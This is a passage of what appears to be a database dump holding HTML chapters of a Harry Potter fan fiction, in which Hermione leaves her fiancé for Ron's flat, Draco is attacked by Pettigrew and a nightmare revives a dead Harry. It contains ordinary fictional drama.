</p>\n\n<p>&quot;That\'s fine,&quot; Ron replied.&quot; I was getting worried; thought that with the way you were carrying on you needed a lung transplant or something.&quot;</p>\n\n<p>Hermione laughed; it was good to hear him joking again. The last time she\'d seen Ron had been at Harry\'s funeral, and he had been just destroyed. </p>\n\n<p>&quot;When would you get here?&quot; he asked.</p>\n\n<p>&quot;I want to leave as soon as possible, before I change my mind,&quot; she replied. Ron gave her directions to his London apartment and said he\'d see her soon. After she hung up with Ron, Hermione had one more thing to do before she could leave.</p>\n\n<p>She sat down at the kitchen table, pen in hand, and wrote James a letter. It was one of the hardest things she\'d ever done, mainly because she didn\'t know what she could say. The sheer craziness of what she was doing had struck her full force. She was leaving a successful man who loved her in the middle of the night, without so much as a goodbye- and she was actually <i>happy</i> about it. That was why she had sat down to write the letter; she couldn\'t wait until he got home to be free from the house that wasn\'t hers and the engagement that should never have happened. Plus, she didn\'t think she could stand the look in his eyes when he found out. </p>\n\n<p>The letter was long, explaining what she was doing and why she was doing it. She said a lot of other things, too, but it was all the same message: goodbye. </p>\n\n<p>Hermione took one last look around the house before she left. She paused in the all beige and cream bedroom, thinking that she\'d never really liked that color scheme. In the bathroom, she thought about how James had always chided her for leaving wet towels on the floor. In the living room, it was memories of long, boring talks about books. And so it went until she reached the study, the only room in the entire house that she had truly felt at home in. One more time she wished she could take her armchair, all patched and frayed, with her. But, enough was enough. </p>\n\n<p>Hermione left James letter on the kitchen table, placing her ring in the envelope before she sealed it. She picked up her two suitcases and Aurora\'s cage, turned on her heel, and left the house without a backward glance. </p>\n\n<p>She arrived at Ron\'s apartment an hour later, still wearing the flannels and James\' old t-shirt underneath her coat. By then she had composed herself, and was ready for the onslaught of questions, which she was sure would come from her old friend. But when Ron opened the door and saw her standing there, he just smiled and took one of her suitcases. </p>\n\n<p>After Hermione had gotten settled, tossing her suitcases next to the couch where she would be sleeping, she had one more thing to get out of the way before she could relax. She called Ron to her, gave him a quick hug, and thanked him for giving her a place to stay.</p>\n\n<p>&quot;No problem, Hermione,&quot; Ron replied, smiling like a little boy. </p>\n\n<p>&quot;There\'s just one more thing,&quot; Hermione said.</p>\n\n<p>&quot;What\'s that?&quot; he asked.</p>\n\n<p>&quot;I hope you don\'t mind, but I brought a friend.&quot; With that Hermione lifted the cat carrier off of the floor and opened it. Aurora leapt out of the cage and onto the surprised boy\'s lap, twitching her tail and purring in her happiness to be free.&quot; I remembered how much you love cats,&quot; Hermione said, smiling at the baffled look on Ron\'s face. </p>\n\n<p>The two friends burst out laughing, Ron stroking the cat\'s head. Then they sat back on the comfortable couch and started to talk- not about Harry, and certainly not about James. They just talked about stupid things, talking like the seventeen year-olds they had been before Ron enlisted in the war and Hermione started off on her career. They just sat there talking until all hours of the night. And the next thing they knew, the sun had risen, blowing away the clouds to reveal a brilliant new day.</p>\n '),
	(283, 4, '<p>Author\'s Note: Here it is everyone, chapter four! Now, when I first wrote this story (it was almost two years ago for those of you keeping score), it was supposed to be strictly from Hermione\'s point of view, but Draco, whom I hadn\'t even planned on mentioning, wouldn\'t shut up. So this chapter will be told from his point of view. As always, enjoy the story and please review!</p>\n\nChapter Four: A Hard Day\'s Night\n\n<p> Draco Malfoy drew back his arm, harnessing all of his strength for the crushing blow he was about to deliver. With one smooth, liquid motion he let go of the sharp flint rock he\'d been holding in his tightly clenched fist. It sailed through the air and right through a third floor window, the cold air shattering with the piercing sound of breaking glass. Draco rubbed his hands together, breathing heavily and watching as clouds formed from his exhaled breath. It really was damn cold out here, and now thanks to that rock and about seven or eight others, it would be cold inside too.</p>\n\n<p> Draco jogged his way around Malfoy Manor to the front entrance, wondering why he felt the need to make himself miserable. Granted, it had been quite a rush to hurl those rocks, to hear the glass shatter...it was a sweet release. But still, now he\'d be freezing. He opened the massive oak doors, embossed with the Malfoy family coat of arms (two serpents entwined around a large letter M) and stepped into the entrance hallway. He shrugged out of his cloak, hanging it up on a coat-rack by the door. As he walked through the empty house to the living room, his footsteps echoed into the darkness. Malfoy Manor was a joke, it was just so huge and ostentatious. The marble columns, the burning torches that lined and lit the long, cavernous hallways...every time you turned a corner in this house, you felt as though you were about to walk into a dungeon.</p>\n\n<p> Entering the living room, Draco flopped down onto the old leather sofa, thinking that he really should get a fire going if he didn\'t want to freeze to death during the night. Heaving a sigh, as though it were some massive effort, he pulled his wand out of his pocket, murmured something under his breath, and watched as cheerily dancing flames sprang up in the massive fireplace in front of him. That done, he put down his wand, folded his hands behind his head, leaned back, and closed his eyes, the light from the fire dancing across his eyelids and casting shadows into his thoughts. </p>\n\n<p> Draco lived alone now, which was part of the reason he found his house so ridiculous. It was an immense mansion sitting atop a lonely hill, about fifteen minutes outside the town of Hogsmeade. Of course, the house had been ridiculous back when there had been three people living in it- eleven bedrooms for a family of three? Whenever Draco had asked his mother about the house when he was younger, she\'d laughed and said that the extra rooms were for the servants. Draco had never thought it would be wise to point out that the only servant they had that actually lived in the Manor was Dobby the house elf, and he slept in a drawer full of ripped sheets on the laundry room floor. Draco had always thought of his mother as being lovably clueless.</p>\n\n<p> Narcissa was a beautiful a beautiful woman when she was married. Draco knew; he\'d seen pictures. But she was always somewhat...not dumb, but just a little dim. She\'d smile and play hostess, offering Lucius\' friends tea cakes and cold lemonade whenever they\'d come over to &quot;discuss business.&quot; She\'d dress up and accompany her husband to the theater and to parties for the top members of the Ministry of Magic. She just never seemed to realize what went on behind the scenes, what Lucius and his cronies were really doing when they retired to the study. That was another thing, the study. It was a room shrouded in mystery, always had been, from the time Draco was a little boy. Even now, he didn&#8217;t go there.</p>\n\n<p> Even now, with both of his parents dead, Draco still found himself living in their house. Even now, when all of the servants were long gone and the whole place seemed about as likely to come crashing down as it was to creep out any visitors. Even now that young Draco was just past his twenty-third birthday, not knowing if he\'d ever see his twenty-fourth, he still lived in Malfoy Manor all alone at the top of a hill. </p>\n\n<p> Draco paused for just an instant, wondering about his own safety as he did every night. Every night when the moon had risen and the stars could be seen in the sky, he had just one fleeting moment of fear; the rest of the time he didn\'t really care enough about his life to be afraid. But for just that one instant every night, the creaking groans of the Manor multiplied tenfold, every shadow cast upon the wall seemed an ominous figure clad all in black. Draco knew that one day his fears would be justified, one day they would come for him.</p>\n\n<p> Who &quot;they,&quot; were was irrelevant; Draco had never cared about the true identities of the Death Eaters, even when he had been one. That was one of the Dark Lord\'s most ingenious ideas; only he knew the true name and face of all of his minions. Since they always wore masks, it was easy to keep identities a secret. Draco had known more than most, because of his father and the position he had commanded. Lucius Malfoy had clawed and scurried his way up to the top of the ladder; before he died he was made Voldemort\'s second in command. Afterwards, that position had landed squarely in the lap of young Draco himself. </p>\n\n<p> Draco remembered that day, the day after the famous battle on the hillside. Dozens of Death Eaters had been killed, and yet the battle was hailed as a conquering success. Why? The boy who lived, Harry Potter, had finally died; the path had been cleared for Voldemort to seize power over the entire magical world. Draco had been called into the Dark Lord\'s chambers, had been told that his father was dead, that Lucius had been killed in battle. Then he had been ordered to assume the position of second in command. He was told that he must carry on the Malfoy family legacy. Draco had refused.</p>\n\n<p> No one knew why, though countless had tried to get the reason out of him. Voldemort murdered Draco\'s mother in cold blood as a punishment for his insubordination. Then, orphaned and alone, Draco had barricaded himself in Malfoy Manor, refusing to comply with the Dark Lord\'s wishes. Eventually, the Death Eaters had given up on him, reasoning that he would eventually see the light and return, and besides, who needed some stupid stuck-up kid anyway? They had left him alone for the past five years, but Draco knew that his peace was finite; sooner or later they would come for him, and he would die. He would die because he would not join them, not with what he knew....</p>\n\n<p> Shaking his head and heaving another sigh, Draco managed to put all thoughts of Lord Voldemort and the other Death Eaters out of his mind. He slowly rose from the sofa with the vague idea of getting something to eat. He meandered down the dimly-lit hallways of the Manor, passing by dingy paintings of Malfoy family members long dead, all of whom stared malevolently down at him from their silver frames grown dark with rust. Draco didn\'t care that several pairs of eyes followed his movements down the hall, didn\'t care that every time he walked by them, his forefathers whispered amongst themselves that he had ruined the family. <i>Sticks and stones may break my bones, but what the hell do I care what a bunch of ugly old portraits of ugly old people think of me?</i> thought Draco to himself, a small smirk playing on his lips as he continued on his way down the long hall.</p>\n\n<p> As his footsteps echoed off into the silence, he was overwhelmed by a sense of loneliness, despite the fact that he could still hear the tut-tuting of his Great Aunt Helen a few yards behind him. Draco had to admit that he really did need to get away from this house- away from the black marble columns and away from the sterling silver door handles in the shape of snakes. This was the kind of house that groaned at night, the kind you just knew was haunted. This was the kind of house where every closet had its skeletons. There was just too much history here; even living completely alone, Draco always found himself obeying his parents\' old rules. He always made his bed before doing anything else when he got up in the morning. He didn\'t ever go into his father\'s study, from which he had been forbidden as a young boy. He never went into the dungeons either, not because of a rule, but because they had always frightened him. Draco thought that a nice loft apartment, in London maybe, would be perfect for him. And Lord knows he could afford it; the Malfoy family may not have been as pristine as they seemed, but there was nothing pretend about the size of their account at Gringotts. But he just couldn\'t seem to leave his old home.</p>\n\n<p> Draco rounded the corner and entered the kitchen, flipping the light switch on his way in and illuminating the only room in the entire Manor that didn\'t seem to emit pure evil from the walls. He padded across the pale green tile floor to the cupboard, thinking of perhaps boiling some water and having a late dinner of pasta before heading to bed- by now it was nearly midnight, and he couldn\'t remember whether he\'d eaten today or not. Upon opening the cabinet, however, Draco discovered that there would be no pasta in his future- nor anything else edible. The entire kitchen was found to be, upon further inspection, depressingly devoid of anything even resembling food. </p>\n\n<p><i>That\'s what happens when you turn into a hermit,</i> thought Draco bitterly to himself as he aimed a kick at the nearby trashcan. He left the kitchen, not bothering to shut off the lights as he stomped into the hallway. </p>\n\n<p> Malfoy Manor was designed almost like a Las Vegas casino: it was meant to be something of a labyrinth, where it was hard for someone unaccustomed to the layout to find his or her way out. There were countless hallways that wound their way through the house, some of which didn\'t really lead to anywhere in particular. It also resembled Hogwarts in that there were literally dozens of secret rooms and passages, one of which was Draco\'s private playroom when he was very young. The small room appeared between the living room and his father\'s study when you tapped out &quot;shave and a haircut- two bits,&quot; on the right spot on the wall with a wand. Passing by that spot, Draco thought of all the information he\'d gotten as a boy by listening through a small hole in between two of the large granite slabs that made up the wall between his father\'s study and his playroom. He\'d been a silent witness to many of the sordid bargains made between his father and certain depraved Ministry officials.</p>\n\n<p> Draco continued up the hallway till he reached the main entranceway, which, surprisingly enough, lay before the back door to the mansion rather than the front. This was yet another clue as to just how many shady characters had visited the house to speak with Lucius. There was a rear driveway that led up the other side of the hill to the Manor, and a path lined with lanterns leading up to the backdoor. The main entrance had black marble floors and black marble columns supporting the high, vaulted ceilings. There was a generous closet for guests to hang their cloaks in to one side of the back door. The windows facing the backyard were tall, adorned by long red velvet hangings that draped to the floor. There was also a massive spiral staircase in the very center of the room, leading to the upper levels of the Manor. Draco headed up the black marble steps now, his hand sliding up the ornately carved banister (made to look like a long, vicious python, with its tail at the bottom of the staircase and its head at the very top) as he made his way to the third floor, where his bedroom was located. </p>\n\n<p> The third level of the mansion was only slightly less intimidating than the first, with the hallways carpeted in a rich burgundy. The walls were still made of large slabs of granite, but on either side of the halls were wide oak doors that looked almost homey. Draco stopped at the fifth door on the left of the hall, having taken a left at the top of the stairs, and entered his bedroom to find a nasty surprise.</p>\n\n<p> &quot;Bloody hell!&quot; he cursed under his breath, seeing the shards of broken glass and the gaping hole in the window directly above his bed. He hadn\'t meant to pitch that rock into this room out of the thirty-seven rooms in the whole house, but he couldn\'t deny that that was what he\'d done when he saw the flint rock lying innocently on his bed amidst a pile of glass shards. To make the situation worse, it had started to storm outside; fat raindrops blew in through the broken window, spattering his black satin sheets, and the sound of thunder in the distance reached Draco\'s ears, seeming to mock him for his own stupidity. &quot;Bloody hell!&quot; he swore again, thinking that there was no way he could fix the window at night, in the middle of a thunderstorm. He thought to just use a simple spell to repair the glass, reaching into his back pocket for his wand, only to find that he\'d left it in the living room. </p>\n\n<p> Rolling his eyes in exasperation, Draco turned on his heel and left his bedroom, bounding down the hallway to the staircase. He took the steps two at a time down to the first floor, then quickly made his way back in the direction of the living room. He was just passing by the sleeping portrait of his Great Aunt Helen, the one who would have shook her head at him and went &quot;tut tut,&quot; had she been awake, when he heard a strange noise coming from behind him. Now, odd noises were a normal part of life in Malfoy Manor; there was the creak that the fifth stair leading up to the attic always made, the whistling noise that came whenever you first turned on the water in any bathroom sink, and the groans that almost every door emitted when it was opened due to rusty hinges. But this, this had sounded more like...footsteps. </p>\n\n<p> Draco stopped to listen, pausing in mid-stride just outside his father\'s study. There it was again- definitely footsteps, coming from the back of the house. He wheeled around, silently making his way back down the hall. The sounds of footsteps grew louder as he approached the main entranceway. It sounded like only one person, and he must have just entered. Otherwise, Draco would have passed right by him when he came down the stairs. He rationalized that it was probably some lost Muggle who went out for a hike, got caught in the rain, and needed to use a telephone- not that Malfoy Manor had one. </p>\n\n<p><i>Still, just to be safe...</i>Draco thought, trailing off as he pressed himself against the wall, turning his head ever so slightly around the corner to look into the main entranceway. The room was almost entirely dark, the flickering light from the torches in the hallway not reaching far enough to illuminate the entranceway. The only light came from sporadic flashes of lightning that flooded the room with stark white light every few minutes. During one such flash, Draco saw a rather short, hunched over man wearing a ratty old cloak and galoshes. The man was muttering to himself, though Draco couldn\'t make out the words. A few minutes ticked slowly by, in which Draco heard more shuffled footsteps and managed to catch a few words from the old man.</p>\n\n<p>&quot;Bloody house...gives me the creepers,&quot; the intruder muttered, shuffling towards the staircase in the middle of the room. &quot;Just find the boy.&quot; </p>\n\n<p> Draco tensed immediately upon hearing this, wishing hard that he had his wand with him. After a few panicked minutes of trying to figure out what to do, his decision was made for him when yet another flash of lightning illuminated the room and gave Draco a good look at the intruder\'s face. <i>Pettigrew? </i>he thought to himself, shocked to see the bumbling old man again. Unfortunately, that flash of lightning had revealed more than just the wrinkled face of Peter Pettigrew; Draco had been spotted. </p>\n\n<p> &quot;Young Mr. Malfoy, just the boy I wanted to see,&quot; said Wormtail, his voice positively dripping with self-satisfaction. As he stepped closer, Draco could see a look of pride on his face. <i>How wonderful for you. You managed to find me in my own house. Bloody brilliant,</i> he thought, stepping away from the wall into the hallway. </p>\n\n<p> &quot;What do you want, Wormtail?&quot; he asked, spitting out the old Marauder\'s name as one would an insult.</p>\n\n<p> &quot;To invite you back to our side,&quot; replied the old man, who had only cringed slightly at being reminded of his old alias. Draco caught a glimpse of his gleaming silver hand, softly reflecting the light cast upon it by the torches lining the hallway. </p>\n\n<p> &quot;I politely refuse your invitation. You may exit the way you entered,&quot; he said, hoping his sarcastic tone would be lost on the man standing before him. So far the conversation had remained almost comically civil; Draco held out little hope that this little visit would stay quite so polite. </p>\n\n<p> &quot;I\'m afraid that is not an option. Your choices are to rejoin the circle of Death Eaters...or to die,&quot; said Pettigrew. He then drew his wand from a pocket in his robes, aiming it directly at Draco\'s chest while smiling malevolently. </p>\n\n<p> &quot;That\'s it? Those are my only choices?&quot; Draco asked, sounding scandalized as he tried desperately to think of a plan. &quot;I think I\'ll sleep on it, give you my decision in the morning. Goodnight, then!&quot; he said, striding past Pettigrew in a vain attempt to reach the backdoor. It wasn\'t the best of all plans, but what else could he do without a wand?</p>\n\n<p> &quot;I dont think so,&quot; came the voice of Pettigrew, now from behind Draco, as he stood motionless in the hallway. &quot;Crucio!&quot;</p>\n\n<p> Draco fell to the floor, caught up in a torrent of pain that he hadn\'t experienced since his father died. He writhed on the marble floor, waves of pain seemingly visible as his vision flooded with red agony. This was torture beyond torture...his breathing came in short, shallow gasps as his body twisted and contorted, moving of its own accord. Just when he had moved into a state of semi-consciousness, when the rim of his vision was going black and his thoughts were receding into the background, just that suddenly...the pain stopped.</p>\n\n<p> Draco looked up at his tormentor from his position on the floor. Pettigrew\'s face had gone ash white, his eyes wide with what one could only call terror. He slowly lifted his hand to point at one of the windows to the left of the back door, growing paler by the second. </p>\n\n<p> &quot;It-it can\'t be,&quot; he stammered, taking a few hurried steps backward in a gesture of pure fear. Draco whipped his head around to see what it was that had Pettigrew in such a state of shock, only to see nothing. By the time his eyes had registered that there was nothing out of the ordinary to be seen outside the window and he had turned to face his attacker once more, Pettigrew had vanished. He\'d Apparated. </p>\n\n<p> Draco slowly rose to his feet, grimacing. The Cruciatus curse was brutal, and it left the victim with echoes of the pain for hours afterwards. Normally Draco would have found the echoes unbearable, but after the actual pain itself they seemed like welcome caresses. Limping slightly, he made his way over to the window, pulling back the heavy velvet curtains to peer into the backyard. Nothing. He saw the neatly trimmed grass, the lanterns lining the path to the door...nothing unusual. He even went so far as to open the backdoor and call out.</p>\n\n<p> &quot;Anyone out there?&quot; he shouted into the darkness. No answer came. Closing the door, he muttered to himself, &quot;Screw this. I\'m checking into a hotel.&quot; </p>\n\n<p> He locked the backdoor, something he\'d never done before; the house\'s remote location and forbidding appearance were usually enough to keep away any burglars or the like. Then he went to the living room to grab his wand and put out the last few flames of the fire he\'d made earlier, which had remained burning in the grate. The last thing he did before locking the front door was to grab his shabbiest cloak and put the hood up. Then he journeyed outside into the torrential rain, his wand in his back pocket along with his stuffed wallet. </p>\n\n<p>He walked the mile and a half down to Hogsmeade, where he checked into the Three Broomsticks, a pub which occasionally let out a small room above the main area on slow nights. Madame Rosemerta had tried to engage him in a friendly chat, even offering him a glass of mead on the house, but Draco just wanted to sleep...just sleep and forget the weird happenings of the past few hours. </p>\n\n<i>Meanwhile....</i>\n\n<p>Peter Pettigrew meekly made his way to the Dark Lord\'s chamber, shuffling down the stone hallway lined with lanterns that barely gave off enough light to see your hand in front of your face. He passed guards on either side of the passage, all of whom eyed him with a certain loathing particular to people looking at a ruined man on his way to certain death. As he approached the massive stone doors, his steps slowed. The truth was, he was terrified to tell his master what he had seen.</p>\n\n<p>Two especially burly guards stood before the door, armed with only their wands and yet still looking like an impassable barrier. &quot;The password?&quot; they asked Pettigrew.</p>\n\n<p>&quot;Divinitas,&quot; he answered, looking down at his feet. The guards parted, allowing the timid little man, who really did resemble a rat, to push through the doors and step into the chamber.</p>\n\n<p>It was a circular room, with stone floors and a high, domed ceiling. Torches gave off flickering light that never really lifted the darkness, darkness that had seemingly settled like a blanket over the chamber. This was a room designed to bring your entire attention to the tall figure sitting in the high-backed stone throne, set in the very center of everything. It was also a room where the floor was littered with the bones of various animals, and probably more than a few humans as well. Nagini the giant snake dwelled here, now laying somewhat peacefully on the floor beside the throne in the middle of the room. Her head lifted when Pettigrew entered, swaying slightly higher when the door slammed shut behind him. </p>\n\n<p>&quot;You have news for me, Wormtail,&quot; came the high-pitched, cold voice of Lord Voldemort. </p>\n\n<p>&quot;Y-yes, my lord,&quot; Pettigrew stammered, not daring to come any closer to the throne and the giant snake. </p>\n\n<p>&quot;You went to the Malfoy house.&quot;</p>\n\n<p>&quot;Y-yes, my lord,&quot; he said again, starting to shake. </p>\n\n<p>&quot;And?&quot; the Dark Lord asked, now sounding slightly impatient. He waved his hand, motioning for Pettigrew to come closer. Peter shuffled forward, eyes still on the ground, until he was only a few precious feet away from the figure sitting in the throne. </p>\n\n<p>&quot;The boy will not join us,&quot; he said, cringing slightly as he awaited his master\'s response. &quot;And-&quot; he started to say.</p>\n\n<p>&quot;So you have failed me,&quot; the Dark Lord interrupted, his eyes glistening a malevolent red in the semi-darkness of the chamber. &quot;Crucio!&quot;</p>\n\n<p>Pettigrew fell to the floor, twisting and writhing in pain. His screams echoed off the walls, bouncing back to his own ears as he clenched his eyes shut. The pain ceased after a few minutes, and Pettigrew was not heartened to find Nagini looking at him with a sudden new interest. The great snake hissed slightly as he rose to his feet.</p>\n\n<p>&quot;You may leave now. Consider yourself blessed that I have decided to spare your life,&quot; said the Dark Lord, knowing that death was far too good a fate for a man so pathetic as this. </p>\n\n<p>&quot;Sir, I-&quot; Pettigrew began, backing away from the throne as he spoke, and never taking his eyes off of the giant snake. </p>\n\n<p>&quot;What? What is it?&quot; snapped Lord Voldemort, his voice becoming colder as his anger flared. </p>\n\n<p>Pettigrew swallowed once, working up the nerve to say what he had to say. He took one more step away from the throne toward the door, still treading softly backwards. Finally, his mouth dry and his hands shaking, he spoke. </p>\n\n<p>&quot;He-he lives, Sir.&quot;</p>\n '),
	(283, 5, ' <p>A/N: Sorry this chapter took so long; things just have a way of getting crazy. I want to thank everyone who reviewed the first four chapters. Hugs and chocolate kisses to all of you! I also want to give a big thanks to my lovely new beta reader, Babygrrl, for her help and encouragement- not to mention all of the corruption. </p>\n\n<p><b>Dramatic irony </b>occurs when the audience or the reader knows something important that a character in a play or a story does not know. </p> Chapter 5: Dramatic Irony <p> Hermione woke to find her head on Ron\'s shoulder, her neck bent at an impossible angle. As she slowly lifted her arms above her head in a luxurious stretch, jerking her head from side to side to relieve the tension in her neck, she took a look around the room in which she found herself. Her feet were propped up on a low coffee table, considerably scuffed and with deep scratches embedded in the wood. Hermione reached down and ran her fingers lightly over the dark gashes that ran across the surface of the table, wondering vaguely where they could have come from. Shrugging her shoulders in a gesture of puzzlement, she lifted her head to scan the rest of the room. Across from the faded red couch on which she sat there was an immense picture window facing out into the heart of Muggle London, devoid of any curtains. Four stories below, she could hear the vague noises of what few cars there were on the road this early in the morning. The only other sound came from Ron, who was snoring slightly to Hermiones left. She wrinkled her nose in silent laughter as she watched her old friend bat his hand absentmindedly at a fly that had landed on his nose. Shaking her head, Hermione rose from her seated position and began to pace around the living room. The hard wood floor felt cool to her bare feet. She walked over to the window and leaned her forehead up against the glass, looking straight downward into the city below. </p>\n\n<p> &quot;Great view, isnt it?&quot; asked a sleepy-sounding Ron from behind her. Hermione turned around and gave him a small smile, making her way back to the couch.</p>\n\n<p> &quot;Sure is,&quot; she said, plopping herself down next to him, slowly sinking into the soft red cushions. She leaned her head back and let her eyes fall shut, feeling sleepy yet at the same time exhilarated. Hermione thought back to where she could have been waking up this morning, in the completely beige bedroom of James\' house, and a smile unconsciously found its way onto her lips. That smile was quickly replaced by a grimace when she thought of James all alone. Ron must have spotted it, because his next words were,</p>\n\n<p> &quot;What are you thinking about?&quot; He reached over and placed a hand on her shoulder, causing Hermione to lift her head.</p>\n\n<p> &quot;James. And my parents. I wonder what they\'re going to do to me once they realize I\'ve called off the wedding,&quot; she answered, shuddering at the thought of telling her father his money had been wasted. Worse would be her mother, who had held high hopes for a grandchild in the near future. Hermione\'s parents had married very late on in life, a fact which left them with just the one daughter- they placed all of their hopes and dreams squarely on Hermione\'s shoulders. She didn\'t mind this normally, recognizing that her mother and father wanted the best for her, but a marriage was quite different from being a good student. It wasn\'t so cut and dry, black and white. This was really the first time in her life Hermione had found herself going against their wishes, and the thought frankly terrified her. Her concern showed plainly on her face; her eyes clouded over and she began to chew on her lower lip methodically. </p>\n\n<p> &quot;Youll be fine,&quot; Ron said reassuringly, his hand now patting her arm in a friendly way. &quot;I\'m sure they\'ll understand. They have to, right? You can\'t marry someone you don\'t want to; there\'s no way it could work.&quot;</p>\n\n<p> &quot;Ron, maybe <i>your</i> parents would understand. Mine...mine want my life to be easier than theirs. They think that marrying James will give me security, and...Ron?&quot; she asked, cutting her thoughts short when she saw the look on her old friend\'s face. He had gone slightly pale, his eyes overly bright. &quot;What\'s wrong?&quot; she asked, anxiety in her voice.</p>\n\n<p> &quot;Hermione, you know that my-my parents...they\'re <i>dead</i>, Hermione,&quot; he said. He had withdrawn his hand from her shoulder, had hung his head down so that he was looking into his own lap. </p>\n\n<p> &quot;Ron-&quot; Hermione began, reaching out a hand to her old friend, her concern showing plainly in her face. </p>\n\n<p> &quot;I\'m not Ron. I\'m Harry,&quot; he said, raising his head to look her in the eye.</p>\n\n<p>Hermione sat, letting these words sink in. She thought that her friend just may be losing his mind in his obvious grief for his lost best friend...but that couldn\'t be right- Harry had been dead for years, and Ron had seemed to come through the grieving process relatively unscathed. Hermione wondered for a brief moment whether this was some spell...then something amazing happened, and all thoughts were wiped from her mind, having been replaced with pure awe. Ron\'s face had begun to shift and contort, almost as if he were in terrible pain. The eyes squeezed shut, and the mouth was drawn into a tight grimace. She was forcibly reminded of the effects of Polyjuice Potion as she watched his features melt away entirely. For a second, there was just a blank lump of pale flesh where his face should have been. Then the features started to fill themselves in; first a pair of lively green eyes, big and glittering like emeralds. Then came a nose, not as sharp or long as Ron\'s. The nose was followed by the hair, jet black and very messy, on top of the head. Last came the scar, standing out lividly on the boy\'s forehead, shaped like a jagged bolt of lightning, the scar that she remembered so well and that haunted her dreams.</p>\n\n<p>&quot;Hello Hermione,&quot; said Harry, his voice low and soft, almost tender. </p>\n\n<p>&quot;Oh my-&quot; she stammered, instinctively reaching out a hand to this boy\'s face. She wanted to touch him, needed to feel his skin underneath her fingers. She needed to know that this was real, not an illusion, that Harry had in fact returned to her after so long. Her eyes glazed over with tears as her fingers made contact with his cheek. Harry closed his eyes and raised his hand to cover hers, their fingers interlacing. Tears fell freely from Hermiones eyes now, rolling down her face and splashing onto the front of the t-shirt she\'d slept in. She closed her own eyes, bowing her head as she continued to weep with joy. She felt a pair of lips lightly graze her forehead in a tender kiss, and sighed. Raising her free hand to wipe the tears from her cheeks, she raised her head and opened her eyes, her face breaking out into a broad smile as she strived to express everything she was feeling- her joy, her relief, her love- without saying a word. </p>\n\n<p>Then, she noticed something about the face she was looking at, the face of her childhood love. He didn\'t look as she remembered him; his face had changed somehow in the brief time she\'d closed her eyes. His skin had become deathly pale, with tinges of blue. His eyes lacked the sparkle they had held back in the days of Hogwarts. His veins were showing clearly through his face, but they looked...stagnant. The lips had turned pale purple. His hair was falling out in clumps, and covered in moldy-smelling dust. This was not Harry Potter. This was some...some <i>thing</i>. Tears of frustration now stung Hermione\'s eyes as she backed away from the thing that, moments before, had assumed the shape of her childhood friend. How had a moment so perfect turned into this nightmare? She had had Harry back, for just one fleeting second. Now all that was left was this foul, monstrous corpse. Hermione\'s heart beat faster in her chest, adrenaline now coursing through her veins as she remembered dreams from her early childhood of the most horrible, disgusting things that hid in graveyards and old attics. Her stomach dropped, mimicking the feeling she got the first time she saw a grub, lurking blindly in the soft earth. Then she screamed.</p>\n\n<p>&quot;Why are you screaming, honey?&quot; it asked, its pale violet lips parting to reveal a rotting, bloated tongue. Its voice was grainy and hoarse and monotonous. Harry had never called Hermione &quot;honey&quot; in his entire life.</p>\n\n<p>&quot;Get-get away from me!&quot; Hermione yelped as the monstrosity reached over, as if to hug her. But the gesture was not one of tenderness; it suggested evil and harm to come.</p>\n\n<p>&quot;C\'mon. Gimme a kiss!&quot;</p>\n\n<p> &quot;Hermione! Hermione, wake up!&quot; came Ron\'s voice, sounding slightly panicked. Hermione became aware that he was shaking her, his hands gripping each of her upper arms. Her eyes fluttered open to the site of a very flustered Ron, wearing a pair of boxer shorts and an anxious expression. &quot;Are you okay? You were screaming and-&quot; he began, trailing off.</p>\n\n<p> Hermione remembered the dream, remembered the feel of Harry\'s lips against her forehead, remembered the grating voice of the corpse he had morphed into. Her eyes welled up and she collapsed against Ron\'s chest, her head buried in his shoulder. Ron put his arms around her and started patting her hair, which was even bushier than it had been the day they\'d met aboard the Hogwarts Express. </p>\n\n<p> &quot;It was so real,&quot; she said after a few minutes, her voice shaky as she raised her head and began to wipe the tears from her face. &quot;It was him.&quot;</p>\n\n<p> &quot;Who? Who was it, Hermione?&quot; Ron asked, guiding her back to the couch and then sitting down next to her. </p>\n\n<p> &quot;Harry.&quot;</p>\n\n<p> &quot;In your dream, right?&quot; he asked.</p>\n\n<p> &quot;No, Ron. Harry just happened to come back from the dead and decided that his first order of business was to scare me out of my wits,&quot; she snapped, all of a sudden angry. She shrugged her shoulders free of his arm. &quot;It was just a nightmare.&quot; With that she rose from the couch and walked to the bathroom, shutting the door rather forcibly behind her. Ron just shook his head and stumbled back to his bedroom to get dressed. Picking up his bedside clock, he shut his eyes and groaned. It was only 5:30 and it looked like he was up for the day. </p>\n\n<p> He opened his closet door to find a shirt and was nearly impaled by the sword. It had been leaning precariously against the inside of the door, and it fell directly at his feet, missing him by mere inches. </p>\n\n<p> &quot;Bloody sword wants me dead,&quot; he mumbled, picking up the offending weapon and tossing it onto the bed. He\'d moved it from the coffee table in the living room right after Hermione\'d asked to come stay with him; he didn\'t see any point in opening that can of worms. Hermione didn\'t know much about the circumstances surrounding Harry\'s death- she hadn\'t wanted to know, and Ron hadn\'t wanted to tell her.</p>\n\n<p> He heard the sound of running water coming from the bathroom; Hermione must be taking a shower. Trying hard not to think too long about his childhood friend in his shower, he hastily got dressed and walked out to the kitchen with the vague idea of fixing the two of them a nice breakfast. Ten minutes later, having discovered that his refrigerator was close to empty, containing half a carton of milk and a brown head of lettuce, he was surprised to still hear the water running in the bathroom. Hermione must have been showering for more than twenty minutes...what was she trying to do, drown herself?</p>\n\n<p> Hermione stood rigid under the hot spray of the shower, the water mingling with the salty tears on her cheeks and washing them away. She slowly ran her hands through he hair, then raised them to her face again in a fresh outburst of tears. She was more frustrated than anything else; she just couldn\'t believe that she had let her guard down, had dared to believe that her wildest fantasies had finally come to life. She was Hermione, the sensible one. How, then, did she convince herself that something that was never going to happen, could never happen, just might be possible? It was preposterous. Harry was dead; she\'d watched his coffin as it was lowered into the damp earth that day five years ago. With that thought, she shook her head and turned off the water. </p>\n\n<p> As she pulled back the blue plastic curtain and stepped out onto the cool tile floor, she thought of James. She grabbed a towel from the pile of clean linens that Ron had placed to one side of the bathroom sink, no doubt on her behalf. As she wrapped it around herself, she had a very frightening thought, perhaps one even more frightening than the idea of Harry stuck in a box underground for all of eternity. <i>What if she had made a mistake?</i> Harry Potter was dead and gone, but James Silverton was alive, alive and ready to marry her. Had she just made the biggest mistake of her life?</p>\n\n<p> Hermione shook her head once more, as if with that one motion she could dispel all of the uncertainty and doubt that had somehow managed to creep up on her, and resolved herself to spend a pleasant day with Ron. </p>\n\n<p> &quot;Morning,&quot; she said to Ron as she padded lightly into the kitchen, stopping to lean against the counter as she ran a comb absentmindedly through her hair. </p>\n\n<p> &quot;Oh, so we\'re in a better mood now?&quot; he asked, his voice heavy with sarcasm. &quot;I had been planning on cooking us a lovely Sunday 